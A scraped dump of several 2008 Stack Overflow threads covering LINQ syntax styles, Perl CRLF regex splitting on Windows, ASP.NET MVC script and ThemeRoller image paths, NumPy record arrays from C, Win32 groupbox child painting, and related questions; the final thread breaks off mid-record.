"text": "<p>In <strong>VB.NET</strong> i very much prefer query syntax. </p>\n\n<p>I hate to repeat the ugly <code>Function</code>-keyword: </p>\n\n<pre><code>Dim fullNames = { \"Anne Williams\", \"John Fred Smith\", \"Sue Green\" };\nDim query =\n fullNames.SelectMany(Function(fName) fName.Split().\n Select(Function(Name) New With {Name, fName})).\n OrderBy(Function(x) x.fName).\n ThenBy(Function(x) x.Name).\n Select(Function(x) x.Name & \" came from \" & x.fName)\n</code></pre>\n\n<p>This neat query is much more readable and maintainable in my opinion:</p>\n\n<pre><code>query = From fullName In fullNames\n From name In fullName.Split()\n Order By fullName, name\n Select name & \" came from \" & fullName\n</code></pre>\n\n<p>VB.NET's query syntax is also more powerful and less verbose than in C#: <a href=\"https://stackoverflow.com/a/6515130/284240\">https://stackoverflow.com/a/6515130/284240</a></p>\n\n<p>For example this LINQ to DataSet(Objects) query</p>\n\n<p>VB.NET:</p>\n\n<pre><code>Dim first10Rows = From r In dataTable1 Take 10\n</code></pre>\n\n<p>C#:</p>\n\n<pre><code>var first10Rows = (from r in dataTable1.AsEnumerable() \n select r)\n .Take(10);\n</code></pre>\n"
},
{
"answer_id": 66943269,
"author": "Elchanan Razin",
"author_id": 4491979,
"author_profile": "https://Stackoverflow.com/users/4491979",
"pm_score": 2,
"selected": false,
"text": "<p>From Microsoft's docs:</p>\n<blockquote>\n<p>As a rule when you write LINQ queries, <strong>we recommend that you use query syntax whenever possible and method syntax whenever necessary</strong>. There is no semantic or performance difference between the two different forms. Query expressions are often more readable than equivalent expressions written in method syntax.</p>\n</blockquote>\n<p><a href=\"https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/linq/#query-expression-overview\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/linq/#query-expression-overview</a></p>\n<p>They also say:</p>\n<blockquote>\n<p>To get started using LINQ, you do not have to use lambdas extensively. <strong>However, certain queries can only be expressed in method syntax and some of those require lambda expressions</strong>.</p>\n</blockquote>\n<p><a href=\"https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/linq/query-syntax-and-method-syntax-in-linq\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/linq/query-syntax-and-method-syntax-in-linq</a></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214500",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16340/"
] |
LINQ is one of the greatest improvements to .NET since generics and it saves me tons of time, and lines of code. However, the fluent syntax seems to come much more natural to me than the query expression syntax.
```
var title = entries.Where(e => e.Approved)
.OrderBy(e => e.Rating).Select(e => e.Title)
.FirstOrDefault();
var query = (from e in entries
where e.Approved
orderby e.Rating
select e.Title).FirstOrDefault();
```
Is there any difference between the two or is there any particular benefit of one over other?
|
Neither is better: they serve different needs. Query syntax comes into its own when you want to leverage **multiple range variables**. This happens in three situations:
* When using the let keyword
* When you have multiple generators (*from* clauses)
* When doing joins
Here's an example (from the LINQPad samples):
```
string[] fullNames = { "Anne Williams", "John Fred Smith", "Sue Green" };
var query =
from fullName in fullNames
from name in fullName.Split()
orderby fullName, name
select name + " came from " + fullName;
```
Now compare this to the same thing in method syntax:
```
var query = fullNames
.SelectMany (fName => fName.Split().Select (name => new { name, fName } ))
.OrderBy (x => x.fName)
.ThenBy (x => x.name)
.Select (x => x.name + " came from " + x.fName);
```
Method syntax, on the other hand, exposes the full gamut of query operators and is more concise with simple queries. You can get the best of both worlds by mixing query and method syntax. This is often done in LINQ to SQL queries:
```
var query =
from c in db.Customers
let totalSpend = c.Purchases.Sum (p => p.Price) // Method syntax here
where totalSpend > 1000
from p in c.Purchases
select new { p.Description, totalSpend, c.Address.State };
```
|
214,517 |
<p>The following Perl statements behave identically on Unixish machines. Do they behave differently on Windows? If yes, is it because of the magic \n?</p>
<pre><code> split m/\015\012/ms, $http_msg;
split m/\015\012/s, $http_msg;
</code></pre>
<p>I got a <a href="http://www.nntp.perl.org/group/perl.cpan.testers/2008/10/msg2450019.html" rel="nofollow noreferrer">failure</a> on one of my CPAN modules from a Win32 smoke tester. It looks like it's an \r\n vs \n issue. One change I made recently was to add //m to my regexes.</p>
|
[
{
"answer_id": 214800,
"author": "bart",
"author_id": 19966,
"author_profile": "https://Stackoverflow.com/users/19966",
"pm_score": 5,
"selected": true,
"text": "<p>For these regexes:</p>\n\n<blockquote>\n<pre><code>m/\\015\\012/ms\nm/\\015\\012/s\n</code></pre>\n</blockquote>\n\n<p>Both /m and /s are meaningless.</p>\n\n<ul>\n<li>/s: makes <code>.</code> match <code>\\n</code> too.\nYour regex doesn't contain <code>.</code></li>\n<li>/m: makes <code>^</code> and <code>$</code> match next to embedded <code>\\n</code> in the string.\nYour regex contains no <code>^</code> nor <code>$</code>, or their synonyms.</li>\n</ul>\n\n<p>What is possible is indeed if your input handle (socket?) works in text mode, the <code>\\r</code> (<code>\\015</code>) characters will have been deleted on Windows.</p>\n\n<p>So, what to do? I suggest making the <code>\\015</code> characters optional, and split against </p>\n\n<pre><code>/\\015?\\012/\n</code></pre>\n\n<p>No need for /m, /s or even the leading <code>m//</code>. Those are just cargo cult.</p>\n"
},
{
"answer_id": 215256,
"author": "brian d foy",
"author_id": 2766176,
"author_profile": "https://Stackoverflow.com/users/2766176",
"pm_score": 1,
"selected": false,
"text": "<p>Why did you add the <code>/m</code>? Are you trying to split on line? To do that with <code>/m</code> you need to use either <code>^</code> or <code>$</code> in the regex:</p>\n\n<pre><code>my @lines = split /^/m, $big_string;\n</code></pre>\n\n<p>However, if you want to treat a big string as lines, just open a filehandle on a reference to the scalar:</p>\n\n<pre><code>open my $string_fh, '<', \\ $big_string;\nwhile( <$string_fh> ) {\n ... process a line\n }\n</code></pre>\n"
},
{
"answer_id": 215351,
"author": "Aristotle Pagaltzis",
"author_id": 9410,
"author_profile": "https://Stackoverflow.com/users/9410",
"pm_score": 2,
"selected": false,
"text": "<p>There is no magic <code>\\n</code>. Both <code>\\n</code> and <code>\\r</code> always mean exactly one character, and on all ASCII-based platforms that is <code>\\cJ</code> and <code>\\cM</code> respectively. (The exceptions are EBCDIC platforms (for obvious reasons) and MacOS Classic (where <code>\\n</code> and <code>\\r</code> both mean <code>\\cM</code>).)</p>\n\n<p>The magic that happens on Windows is that when doing I/O through a file handle that is marked as being in text mode, <code>\\r\\n</code> is translated to <code>\\n</code> upon reading and vice versa upon writing. (Also, <code>\\cZ</code> is taken to mean end-of-file – surprise!) This is done at the C runtime library layer.</p>\n\n<p><b>You need to <a href=\"http://p3rl.org/binmode\" rel=\"nofollow noreferrer\"><code>binmode</code></a> your socket to fix that.</b></p>\n\n<p>You should also remove the <code>/s</code> and <code>/m</code> modifiers from your pattern: since you do not use the meta-characters whose behaviour they modify (<code>.</code> and the <code>^</code>/<code>$</code> pair, respectively), they do nothing – cargo cult.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214517",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14783/"
] |
The following Perl statements behave identically on Unixish machines. Do they behave differently on Windows? If yes, is it because of the magic \n?
```
split m/\015\012/ms, $http_msg;
split m/\015\012/s, $http_msg;
```
I got a [failure](http://www.nntp.perl.org/group/perl.cpan.testers/2008/10/msg2450019.html) on one of my CPAN modules from a Win32 smoke tester. It looks like it's an \r\n vs \n issue. One change I made recently was to add //m to my regexes.
|
For these regexes:
>
>
> ```
> m/\015\012/ms
> m/\015\012/s
>
> ```
>
>
Both /m and /s are meaningless.
* /s: makes `.` match `\n` too.
Your regex doesn't contain `.`
* /m: makes `^` and `$` match next to embedded `\n` in the string.
Your regex contains no `^` nor `$`, or their synonyms.
What is possible is indeed if your input handle (socket?) works in text mode, the `\r` (`\015`) characters will have been deleted on Windows.
So, what to do? I suggest making the `\015` characters optional, and split against
```
/\015?\012/
```
No need for /m, /s or even the leading `m//`. Those are just cargo cult.
|
214,537 |
<p>I just moved a project to the the beta release of <code>ASP.net MVC</code> framework and the only problem I am having is with <code>jQuery</code> and <code>jQueryUI</code>. </p>
<p>Here's the deal:</p>
<p>In <code>Site.Master</code> are the following script references:</p>
<pre><code><script src="../../Scripts/jquery-1.2.6.js" type="text/javascript"></script>
<script src="../../Scripts/jquery-ui.js" type="text/javascript"></script>
</code></pre>
<p>And using those, the <code>accordian UI</code> that I have on one of the views works perfectly, except for one problem: the images from <code>ThemeRoller</code> aren't included on the page. If I comment out the jQuery references, the ThemeRoller images are there. All of the css is in the <code>Content folder</code> and all of the scripts are in the <code>Scripts folder</code>.</p>
<p>I know this is a silly path problem, but it's making me twitch.</p>
<p>What am I missing?</p>
<p><strong>Update</strong></p>
<p>I tried the first answer to no avail, read the comment for details. Thanks again for those who are viewing. </p>
<p>The second approach is not working either. I'm baffled.</p>
<p><strong>Another Update</strong></p>
<p>Using the <code>Url.Content</code> tags for the scripts does indeed allow the scripts to run properly. Using a regular tag for the stylesheet gets all of the styles onto the page EXCEPT for all of those related to ThemeRoller. </p>
<p>The <code>jquery-ui-themeroller.css</code> file is in the Content folder and when I inspect an element, the css is present. I suspect the problem is in the mapping from this css file to the images folder for the themeroller, which is in the Content folder as well. Image links in this file as specified as: <code>background: url(images/foo.gif)</code></p>
<p>Do the links in this file need to change? </p>
|
[
{
"answer_id": 214560,
"author": "JarrettV",
"author_id": 16340,
"author_profile": "https://Stackoverflow.com/users/16340",
"pm_score": 2,
"selected": false,
"text": "<p>Unless all your views are at the same level, you'll need to either use</p>\n\n<ul>\n<li>Use an absolute path such as /Scripts/jquery-1.2.6.js</li>\n<li>Or even better, Resolve a virtual path such as <%= Url.Content(\"~/Scripts/jquery-1.2.6.js\") %></li>\n</ul>\n\n<p><a href=\"http://jvance.com/media/2008/10/18/UrlContent5.media\" rel=\"nofollow noreferrer\">Url.Content() http://jvance.com/media/2008/10/18/UrlContent5.media</a></p>\n"
},
{
"answer_id": 215002,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": true,
"text": "<p>does this help?</p>\n\n<p><a href=\"http://forums.asp.net/p/1334947/2690469.aspx\" rel=\"nofollow noreferrer\">http://forums.asp.net/p/1334947/2690469.aspx</a></p>\n\n<blockquote>\n <p>The reason for the inconstistency is\n very simple, though I admit it's not\n easy to figure out! When you have a\n <link> tag inside a <head\n runat=\"server\">, ASP.NET will process\n the <link> tag and detect URLs and\n resolve them relative to the\n application's root. When you have a\n <script> tag on the page (without\n runat=\"server\") then ASP.NET will\n leave it alone since it's just plain\n old HTML.</p>\n \n <p>Using Url.Content() is the approach I\n would use to solve this since it'll\n get resolved relative to the app root,\n just like the <link> tag.</p>\n</blockquote>\n"
},
{
"answer_id": 215395,
"author": "Adhip Gupta",
"author_id": 384,
"author_profile": "https://Stackoverflow.com/users/384",
"pm_score": 0,
"selected": false,
"text": "<p>You need to change the links in jquery-ui-themeroller.css to point to the current location of the images. </p>\n\n<p>As in, you need to update the path of the images that the css file is looking for. </p>\n\n<pre><code>background: url(images/foo.gif)\n</code></pre>\n\n<p>Remove the 'images/' from your paths to make it look like:</p>\n\n<pre><code>background: url(foo.gif)\n</code></pre>\n\n<p>as both your css and images are in the content folder.</p>\n"
},
{
"answer_id": 656066,
"author": "chris",
"author_id": 79203,
"author_profile": "https://Stackoverflow.com/users/79203",
"pm_score": 0,
"selected": false,
"text": "<pre><code> protected void Page_Load(object sender, EventArgs e)\n {\n Page.ClientScript.RegisterClientScriptInclude(this.GetType(),\"JQuery\", ResolveUrl(\"~/js/jquery.min.js\"));\n Page.ClientScript.RegisterClientScriptInclude(this.GetType(), \"JQueryUI\", ResolveUrl(\"~/js/jquery-ui.custom.min.js\"));\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214537",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13139/"
] |
I just moved a project to the the beta release of `ASP.net MVC` framework and the only problem I am having is with `jQuery` and `jQueryUI`.
Here's the deal:
In `Site.Master` are the following script references:
```
<script src="../../Scripts/jquery-1.2.6.js" type="text/javascript"></script>
<script src="../../Scripts/jquery-ui.js" type="text/javascript"></script>
```
And using those, the `accordian UI` that I have on one of the views works perfectly, except for one problem: the images from `ThemeRoller` aren't included on the page. If I comment out the jQuery references, the ThemeRoller images are there. All of the css is in the `Content folder` and all of the scripts are in the `Scripts folder`.
I know this is a silly path problem, but it's making me twitch.
What am I missing?
**Update**
I tried the first answer to no avail, read the comment for details. Thanks again for those who are viewing.
The second approach is not working either. I'm baffled.
**Another Update**
Using the `Url.Content` tags for the scripts does indeed allow the scripts to run properly. Using a regular tag for the stylesheet gets all of the styles onto the page EXCEPT for all of those related to ThemeRoller.
The `jquery-ui-themeroller.css` file is in the Content folder and when I inspect an element, the css is present. I suspect the problem is in the mapping from this css file to the images folder for the themeroller, which is in the Content folder as well. Image links in this file as specified as: `background: url(images/foo.gif)`
Do the links in this file need to change?
|
does this help?
<http://forums.asp.net/p/1334947/2690469.aspx>
>
> The reason for the inconstistency is
> very simple, though I admit it's not
> easy to figure out! When you have a
> <link> tag inside a <head
> runat="server">, ASP.NET will process
> the <link> tag and detect URLs and
> resolve them relative to the
> application's root. When you have a
> <script> tag on the page (without
> runat="server") then ASP.NET will
> leave it alone since it's just plain
> old HTML.
>
>
> Using Url.Content() is the approach I
> would use to solve this since it'll
> get resolved relative to the app root,
> just like the <link> tag.
>
>
>
|
214,549 |
<p>On the Python side, I can create new numpy record arrays as follows:</p>
<pre><code>numpy.zeros((3,), dtype=[('a', 'i4'), ('b', 'U5')])
</code></pre>
<p>How do I do the same from a C program? I suppose I have to call <code>PyArray_SimpleNewFromDescr(nd, dims, descr)</code>, but how do I construct a <code>PyArray_Descr</code> that is appropriate for passing as the third argument to <code>PyArray_SimpleNewFromDescr</code>?</p>
|
[
{
"answer_id": 214574,
"author": "Adam Rosenfield",
"author_id": 9530,
"author_profile": "https://Stackoverflow.com/users/9530",
"pm_score": 3,
"selected": false,
"text": "<p>See the <a href=\"http://csc.ucdavis.edu/~chaos/courses/nlp/Software/NumPyBook.pdf\" rel=\"nofollow noreferrer\">Guide to NumPy</a>, section 13.3.10. There's lots of different ways to make a descriptor, although it's not nearly as easy as writing <code>[('a', 'i4'), ('b', 'U5')]</code>.</p>\n"
},
{
"answer_id": 215090,
"author": "Vebjorn Ljosa",
"author_id": 17498,
"author_profile": "https://Stackoverflow.com/users/17498",
"pm_score": 5,
"selected": true,
"text": "<p>Use <code>PyArray_DescrConverter</code>. Here's an example:</p>\n\n<pre><code>#include <Python.h>\n#include <stdio.h>\n#include <numpy/arrayobject.h>\n\nint main(int argc, char *argv[])\n{\n int dims[] = { 2, 3 };\n PyObject *op, *array;\n PyArray_Descr *descr;\n\n Py_Initialize();\n import_array();\n op = Py_BuildValue(\"[(s, s), (s, s)]\", \"a\", \"i4\", \"b\", \"U5\");\n PyArray_DescrConverter(op, &descr);\n Py_DECREF(op);\n array = PyArray_SimpleNewFromDescr(2, dims, descr);\n PyObject_Print(array, stdout, 0);\n printf(\"\\n\");\n Py_DECREF(array);\n return 0;\n}\n</code></pre>\n\n<p>Thanks to <a href=\"https://stackoverflow.com/users/9530/adam-rosenfield\">Adam Rosenfield</a> for pointing to Section 13.3.10 of the <a href=\"http://numpy.scipy.org/numpybook.pdf\" rel=\"nofollow noreferrer\">Guide to NumPy</a>.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214549",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17498/"
] |
On the Python side, I can create new numpy record arrays as follows:
```
numpy.zeros((3,), dtype=[('a', 'i4'), ('b', 'U5')])
```
How do I do the same from a C program? I suppose I have to call `PyArray_SimpleNewFromDescr(nd, dims, descr)`, but how do I construct a `PyArray_Descr` that is appropriate for passing as the third argument to `PyArray_SimpleNewFromDescr`?
|
Use `PyArray_DescrConverter`. Here's an example:
```
#include <Python.h>
#include <stdio.h>
#include <numpy/arrayobject.h>
int main(int argc, char *argv[])
{
int dims[] = { 2, 3 };
PyObject *op, *array;
PyArray_Descr *descr;
Py_Initialize();
import_array();
op = Py_BuildValue("[(s, s), (s, s)]", "a", "i4", "b", "U5");
PyArray_DescrConverter(op, &descr);
Py_DECREF(op);
array = PyArray_SimpleNewFromDescr(2, dims, descr);
PyObject_Print(array, stdout, 0);
printf("\n");
Py_DECREF(array);
return 0;
}
```
Thanks to [Adam Rosenfield](https://stackoverflow.com/users/9530/adam-rosenfield) for pointing to Section 13.3.10 of the [Guide to NumPy](http://numpy.scipy.org/numpybook.pdf).
|
214,553 |
<p>When I enable common control visual style support (InitCommonControls()) and I am using any theme other then Windows Classic Theme, buttons inside a group box appear with a black border with square corners. </p>
<p>Windows Classic Theme appears normal, as well as when I turn off visual styling.</p>
<p>I am using the following code:</p>
<pre><code>group_box = CreateWindow(TEXT("BUTTON"), TEXT("BS_GROUPBOX"),
WS_CHILD | WS_VISIBLE | BS_GROUPBOX | WS_GROUP,
10, 10, 200, 300,
hwnd, NULL, hInstance, 0);
push_button = CreateWindow(TEXT("BUTTON"), TEXT("BS_PUSHBUTTON"),
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
40, 40, 100, 22,
group_box, NULL, hInstance, 0);
</code></pre>
<p>EDIT: The issue occurs with radio buttons as well</p>
<p>EDIT: I am not using any dialogs/resources, only CreateWindow/Ex. </p>
<p>I am compiling under Visual C++ 2008 Express SP1, with a generic <a href="http://msdn.microsoft.com/en-us/library/ms997646.aspx" rel="nofollow noreferrer">manifest</a> file</p>
<p><a href="http://img.ispankcode.com/black_border_issue.png" rel="nofollow noreferrer">Screenshot http://img.ispankcode.com/black_border_issue.png</a></p>
|
[
{
"answer_id": 214685,
"author": "SmacL",
"author_id": 22564,
"author_profile": "https://Stackoverflow.com/users/22564",
"pm_score": 1,
"selected": false,
"text": "<p>Just a guess here, but it looks like you are inheriting either the Static Edge or Client Edge style from you theme. I create most of my dialogs from the resource editor and set these properties there.</p>\n\n<p>In your case, you can replace your CreateWindow with a <a href=\"http://msdn.microsoft.com/en-us/library/ms632680(VS.85).aspx\" rel=\"nofollow noreferrer\">CreateWindowEx</a> to set these extended styles, which are probably being defaulted in CreateWindow. Specifically check out <code>WS_EX_STATICEDGE, WS_EX_WINDOWEDGE and WS_EX_CLIENTEDGE</code></p>\n\n<p>Edit: I'm assuming that this is not happening because you button is the default control in the dialog, which would also give a black edge.</p>\n"
},
{
"answer_id": 226848,
"author": "Bob Jones",
"author_id": 2067,
"author_profile": "https://Stackoverflow.com/users/2067",
"pm_score": 0,
"selected": false,
"text": "<p>Apparently group boxes are not meant to group controls (be a parent hwnd)</p>\n\n<p>So in order to get rid of the black borders/painting issues I would have to subclass group box and implement WM_PAINT and WM_PRINTCLIENT</p>\n"
},
{
"answer_id": 234472,
"author": "RayOK",
"author_id": 31246,
"author_profile": "https://Stackoverflow.com/users/31246",
"pm_score": -1,
"selected": false,
"text": "<p>Ahh yes the black background with radio buttons and group boxes. Although I'm not sure if this will work for VC++ 2008, but back-in-the-day the solution for VB6 themed apps was to put the radio controls on a PictureBox (a generic container really) first and then add that to the group box.</p>\n\n<p>Its worth a shot!</p>\n"
},
{
"answer_id": 296594,
"author": "efotinis",
"author_id": 12320,
"author_profile": "https://Stackoverflow.com/users/12320",
"pm_score": 3,
"selected": true,
"text": "<p>The problem is having the groupbox as the controls' parent. Groupboxes are not supposed to have any children and using them as parents will cause all kinds of errors (including painting, keyboard navigation and message propagation). Just change the parent in the buttons' CreateWindow call from <strong>group_box</strong> to <strong>hwnd</strong> (i.e. the dialog).</p>\n\n<p>I'm guessing you used the groupbox as the parent in order to position the other controls easily inside it. The proper way to do this is to get the position of the groupbox client area and map it to the client area of the dialog. Everything placed in the resulting RECT will then appear inside the groupbox. Since groupboxes don't actually have a client area, it can be calculated with something like this:</p>\n\n<pre><code>// Calculate the client area of a dialog that corresponds to the perceived\n// client area of a groupbox control. An extra padding in dialog units can\n// be specified (preferably in multiples of 4).\n//\nRECT getClientAreaInGroupBox(HWND dlg, int id, int padding = 0) {\n HWND group = GetDlgItem(dlg, id);\n RECT rc;\n GetWindowRect(group, &rc);\n MapWindowPoints(0, dlg, (POINT*)&rc, 2);\n\n // Note that the top DUs should be 9 to completely avoid overlapping the\n // groupbox label, but 8 is used instead for better alignment on a 4x4\n // design grid.\n RECT border = { 4, 8, 4, 4 };\n OffsetRect(&border, padding, padding);\n MapDialogRect(dlg, &border);\n\n rc.left += border.left;\n rc.right -= border.right;\n rc.top += border.top;\n rc.bottom -= border.bottom;\n return rc;\n}\n</code></pre>\n\n<p>Note that the same applies to Tab controls. They too are not designed to be parents and will exhibit similar behavior.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214553",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2067/"
] |
When I enable common control visual style support (InitCommonControls()) and I am using any theme other then Windows Classic Theme, buttons inside a group box appear with a black border with square corners.
Windows Classic Theme appears normal, as well as when I turn off visual styling.
I am using the following code:
```
group_box = CreateWindow(TEXT("BUTTON"), TEXT("BS_GROUPBOX"),
WS_CHILD | WS_VISIBLE | BS_GROUPBOX | WS_GROUP,
10, 10, 200, 300,
hwnd, NULL, hInstance, 0);
push_button = CreateWindow(TEXT("BUTTON"), TEXT("BS_PUSHBUTTON"),
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
40, 40, 100, 22,
group_box, NULL, hInstance, 0);
```
EDIT: The issue occurs with radio buttons as well
EDIT: I am not using any dialogs/resources, only CreateWindow/Ex.
I am compiling under Visual C++ 2008 Express SP1, with a generic [manifest](http://msdn.microsoft.com/en-us/library/ms997646.aspx) file
[Screenshot http://img.ispankcode.com/black\_border\_issue.png](http://img.ispankcode.com/black_border_issue.png)
|
The problem is having the groupbox as the controls' parent. Groupboxes are not supposed to have any children and using them as parents will cause all kinds of errors (including painting, keyboard navigation and message propagation). Just change the parent in the buttons' CreateWindow call from **group\_box** to **hwnd** (i.e. the dialog).
I'm guessing you used the groupbox as the parent in order to position the other controls easily inside it. The proper way to do this is to get the position of the groupbox client area and map it to the client area of the dialog. Everything placed in the resulting RECT will then appear inside the groupbox. Since groupboxes don't actually have a client area, it can be calculated with something like this:
```
// Calculate the client area of a dialog that corresponds to the perceived
// client area of a groupbox control. An extra padding in dialog units can
// be specified (preferably in multiples of 4).
//
RECT getClientAreaInGroupBox(HWND dlg, int id, int padding = 0) {
HWND group = GetDlgItem(dlg, id);
RECT rc;
GetWindowRect(group, &rc);
MapWindowPoints(0, dlg, (POINT*)&rc, 2);
// Note that the top DUs should be 9 to completely avoid overlapping the
// groupbox label, but 8 is used instead for better alignment on a 4x4
// design grid.
RECT border = { 4, 8, 4, 4 };
OffsetRect(&border, padding, padding);
MapDialogRect(dlg, &border);
rc.left += border.left;
rc.right -= border.right;
rc.top += border.top;
rc.bottom -= border.bottom;
return rc;
}
```
Note that the same applies to Tab controls. They too are not designed to be parents and will exhibit similar behavior.
|
214,568 |
<p>Is there a good way to add a .swf programatically to a panel on an asp.net page - ie: I know i could just insert the html tags:</p>
<p>ie: </p>
<pre><code><object type="application/x-shockwave-flash" data="yourflash.swf" width="" height="">
<param name="movie" value="yourflash.swf">
</object>
</code></pre>
<p>But is there an existing .net or free FLASH component already that you just set the properties on, or do i need to create a custom web control myself (not preferred) so i dont have to continously do this?</p>
<p>Thank you. </p>
|
[
{
"answer_id": 214685,
"author": "SmacL",
"author_id": 22564,
"author_profile": "https://Stackoverflow.com/users/22564",
"pm_score": 1,
"selected": false,
"text": "<p>Just a guess here, but it looks like you are inheriting either the Static Edge or Client Edge style from you theme. I create most of my dialogs from the resource editor and set these properties there.</p>\n\n<p>In your case, you can replace your CreateWindow with a <a href=\"http://msdn.microsoft.com/en-us/library/ms632680(VS.85).aspx\" rel=\"nofollow noreferrer\">CreateWindowEx</a> to set these extended styles, which are probably being defaulted in CreateWindow. Specifically check out <code>WS_EX_STATICEDGE, WS_EX_WINDOWEDGE and WS_EX_CLIENTEDGE</code></p>\n\n<p>Edit: I'm assuming that this is not happening because you button is the default control in the dialog, which would also give a black edge.</p>\n"
},
{
"answer_id": 226848,
"author": "Bob Jones",
"author_id": 2067,
"author_profile": "https://Stackoverflow.com/users/2067",
"pm_score": 0,
"selected": false,
"text": "<p>Apparently group boxes are not meant to group controls (be a parent hwnd)</p>\n\n<p>So in order to get rid of the black borders/painting issues I would have to subclass group box and implement WM_PAINT and WM_PRINTCLIENT</p>\n"
},
{
"answer_id": 234472,
"author": "RayOK",
"author_id": 31246,
"author_profile": "https://Stackoverflow.com/users/31246",
"pm_score": -1,
"selected": false,
"text": "<p>Ahh yes the black background with radio buttons and group boxes. Although I'm not sure if this will work for VC++ 2008, but back-in-the-day the solution for VB6 themed apps was to put the radio controls on a PictureBox (a generic container really) first and then add that to the group box.</p>\n\n<p>Its worth a shot!</p>\n"
},
{
"answer_id": 296594,
"author": "efotinis",
"author_id": 12320,
"author_profile": "https://Stackoverflow.com/users/12320",
"pm_score": 3,
"selected": true,
"text": "<p>The problem is having the groupbox as the controls' parent. Groupboxes are not supposed to have any children and using them as parents will cause all kinds of errors (including painting, keyboard navigation and message propagation). Just change the parent in the buttons' CreateWindow call from <strong>group_box</strong> to <strong>hwnd</strong> (i.e. the dialog).</p>\n\n<p>I'm guessing you used the groupbox as the parent in order to position the other controls easily inside it. The proper way to do this is to get the position of the groupbox client area and map it to the client area of the dialog. Everything placed in the resulting RECT will then appear inside the groupbox. Since groupboxes don't actually have a client area, it can be calculated with something like this:</p>\n\n<pre><code>// Calculate the client area of a dialog that corresponds to the perceived\n// client area of a groupbox control. An extra padding in dialog units can\n// be specified (preferably in multiples of 4).\n//\nRECT getClientAreaInGroupBox(HWND dlg, int id, int padding = 0) {\n HWND group = GetDlgItem(dlg, id);\n RECT rc;\n GetWindowRect(group, &rc);\n MapWindowPoints(0, dlg, (POINT*)&rc, 2);\n\n // Note that the top DUs should be 9 to completely avoid overlapping the\n // groupbox label, but 8 is used instead for better alignment on a 4x4\n // design grid.\n RECT border = { 4, 8, 4, 4 };\n OffsetRect(&border, padding, padding);\n MapDialogRect(dlg, &border);\n\n rc.left += border.left;\n rc.right -= border.right;\n rc.top += border.top;\n rc.bottom -= border.bottom;\n return rc;\n}\n</code></pre>\n\n<p>Note that the same applies to Tab controls. They too are not designed to be parents and will exhibit similar behavior.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214568",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26685/"
] |
Is there a good way to add a .swf programatically to a panel on an asp.net page - ie: I know i could just insert the html tags:
ie:
```
<object type="application/x-shockwave-flash" data="yourflash.swf" width="" height="">
<param name="movie" value="yourflash.swf">
</object>
```
But is there an existing .net or free FLASH component already that you just set the properties on, or do i need to create a custom web control myself (not preferred) so i dont have to continously do this?
Thank you.
|
The problem is having the groupbox as the controls' parent. Groupboxes are not supposed to have any children and using them as parents will cause all kinds of errors (including painting, keyboard navigation and message propagation). Just change the parent in the buttons' CreateWindow call from **group\_box** to **hwnd** (i.e. the dialog).
I'm guessing you used the groupbox as the parent in order to position the other controls easily inside it. The proper way to do this is to get the position of the groupbox client area and map it to the client area of the dialog. Everything placed in the resulting RECT will then appear inside the groupbox. Since groupboxes don't actually have a client area, it can be calculated with something like this:
```
// Calculate the client area of a dialog that corresponds to the perceived
// client area of a groupbox control. An extra padding in dialog units can
// be specified (preferably in multiples of 4).
//
RECT getClientAreaInGroupBox(HWND dlg, int id, int padding = 0) {
HWND group = GetDlgItem(dlg, id);
RECT rc;
GetWindowRect(group, &rc);
MapWindowPoints(0, dlg, (POINT*)&rc, 2);
// Note that the top DUs should be 9 to completely avoid overlapping the
// groupbox label, but 8 is used instead for better alignment on a 4x4
// design grid.
RECT border = { 4, 8, 4, 4 };
OffsetRect(&border, padding, padding);
MapDialogRect(dlg, &border);
rc.left += border.left;
rc.right -= border.right;
rc.top += border.top;
rc.bottom -= border.bottom;
return rc;
}
```
Note that the same applies to Tab controls. They too are not designed to be parents and will exhibit similar behavior.
|
214,583 |
<p>In the default asp.net mvc project, in the Site.Master file, there is a menu navigation list:</p>
<pre><code><div id="menucontainer">
<ul id="menu">
<li><%= Html.ActionLink("Home", "Index", "Home")%></li>
<li><%= Html.ActionLink("About Us", "About", "Home")%></li>
</ul>
</div>
</code></pre>
<p>This renders in the browser to:</p>
<pre><code><div id="menucontainer">
<ul id="menu">
<li><a href="/">Home</a></li>
<li><a href="/Home/About">About Us</a></li>
</ul>
</div>
</code></pre>
<p>I want to be able to dynamically set the active list item, based on the view that is being called. That is, when the user is looking at the home page, I would want the following HTML to be created:</p>
<pre><code><div id="menucontainer">
<ul id="menu">
<li class="active"><a href="/">Home</a></li>
<li><a href="/Home/About">About Us</a></li>
</ul>
</div>
</code></pre>
<p>I would expect that the way to do this would be something like:</p>
<pre><code><div id="menucontainer">
<ul id="menu">
<li <% if(actionName == "Index"){%> class="active"<%}%>><%= Html.ActionLink("Home", "Index", "Home")%></li>
<li <% if(actionName == "About"){%> class="active"<%}%>><%= Html.ActionLink("About Us", "About", "Home")%></li>
</ul>
</div>
</code></pre>
<p>The key bit here is the <code><% if(actionName == "Index"){%> class="active"<%}%></code> line. I do not know how to determine what the current actionName is.</p>
<p>Any suggestions on how to do this? Or, if I'm on completely the wrong track, is there a better way to do this?</p>
|
[
{
"answer_id": 215385,
"author": "Jason Whitehorn",
"author_id": 27860,
"author_profile": "https://Stackoverflow.com/users/27860",
"pm_score": 0,
"selected": false,
